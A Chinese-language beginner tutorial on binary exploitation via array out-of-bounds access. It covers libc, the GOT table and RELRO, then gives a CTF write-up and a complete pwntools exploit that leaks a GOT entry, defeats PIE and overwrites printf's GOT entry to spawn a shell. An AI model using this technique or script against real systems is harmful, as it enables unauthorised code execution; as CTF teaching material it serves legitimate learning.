pwn入门之数组越界

二进制漏洞挖掘——PWN

PWN 是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似”砰”,对黑客而言,这就是成功实施黑客攻击的声音–砰的一声,被”黑”的电脑或手机就被你操纵了 。

解决PWN题就是利用简单逆向工程后得到代码(源码、字节码、汇编等),分析与研究代码最终发现漏洞,再通过二进制或系统调用等方式获得目标主机的shell

Linux下的二进制漏洞挖掘

LIbc

libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即Glibc。Glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)

简单而言,libc就是linux下的dll (动态链接库),就像windows程序具有dll一样,程序员没有必要重复的造轮子,直接调用别人写好的函数就行了。

ELF文件结构中的GOT表

(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。

GOT表里保存着libc里的函数的地址,ELF程序在运行时通过查找GOT表来寻找libc函数地址,从而调用libc里的函数。

image-20211223124754047

二进制工具——IDA和gdb的使用··············································································································

要学好linux下的pwn必须要熟练掌握这两个工具的使用

IDA用于静态分析 了解程序的运行逻辑

Gdb用于动态调试ELF程序 跟踪程序的运行过程

网上有很多IDA和GDB的教程,这里就不具体讲解了。

数组越界

所谓的数组越界,简单地讲就是指数组下标变量的取值超过了初始定义时的大小,导致对数组元素的访问出现在数组的范围之外,这类错误也是 C 语言程序中最常见的错误之一。

在 C 语言中,数组必须是静态的。换而言之,数组的大小必须在程序运行前就确定下来。由于 C 语言并不具有类似 Java 等语言中现有的静态分析工具的功能,可以对程序中数组下标取值范围进行严格检查,一旦发现数组上溢或下溢,都会因抛出异常而终止程序。也就是说,C 语言并不检验数组边界,数组的两端都有可能越界,从而使其他变量的数据甚至程序代码被破坏。

利用数组越界漏洞我们能干什么?

答案是:修改任意地址里的数据

比如我们可以用数组越界漏洞,将got表里printf函数的地址修改成 system(‘/bin/sh’”)的地址,那么程序在之后调用printf函数时,实际上调用的是函数 system(‘/bin/sh’”),这样我们就获得了目标主机的控制权限。

RELRO保护

在Linux中有两种RELRO模式:Partial RELROFull RELRO。Linux中Partical RELRO默认开启。如果开启 FUll RELRO,意味着我们无法修改got表,这样也就没法通过修改GOT表来进行 Return-to-libc 攻击

例题演示:

来自某学校新生杯赛题-arry

首先,利用工具查看保护,发现没有 FUll RELRO,意味着我们可以修改GOT表,而且开了PIE保护,说明我们很可能泄露一些地址出来,

image-20211223124956035

image-20211223152708565

用ida打开,发现程序可以通过数组越界查看任意地址里的值并更改它,并且程序已经存在system(“/bin/sh”)了。

img

img

因为程序开了 aslr保护(最后三位不变),所以我们要先泄露程序代码段的基址,然后再将 printf 的got表覆盖成后门函数的地址,

image-20211223154352265

在ida里可以发现数组arry的地址在bss段里,并且离got表很近,故我们可以通过计算got表项地址与arry的地址之间的偏移来获取got表项里的内容。

img

在gdb中调试也可以发现 bss段中arry离got段很近,直接将arry与got项之间地址相减得到两者之间的偏移,利用这个 偏移 获得 stack_chk_fail 函数的地址,然后用0xFFFFFFFFF000 与得到的地址相与得到 代码段基址 ,然后用 代码段基址 加上 arry和system的got表地址的偏移 计算得到后门函数地址,再利用一次数组越界将 printf的got表项 覆盖成后门函数地址

坑点: 第一次利用数组越界来获得代码段基址,我是选择泄露system函数的got表值,不知道为什么change时我填入的是获取到的它的原始值,但是调试的时候发现程序中的system got表值被更改了,应该是这里有什么保护机制吧,所以之后选择泄露 stack_chk_fail got表项来获得代码段基址。

Exp

from pwn import *
context.log_level = 'debug'

p = process("./arry")
#p = remote("172.16.68.4",10000)
printf_offset = -128
stack_chk_fail_offset = -152

#gdb.attach(p,"b* $rebase(0xadf)")

p.sendlineafter("index:",str(stack_chk_fail_offset))
p.recvuntil("content:")
stack_chk_fail = u64(p.recv(6).ljust(8,"\x00"))
print(hex(stack_chk_fail))
p.sendlineafter("change:",p64(stack_chk_fail))
base = stack_chk_fail & 0xfffffffff000

p.sendlineafter("index:",str(printf_offset))
p.sendlineafter("change:",p64(0xA93 + base))
p.interactive()

·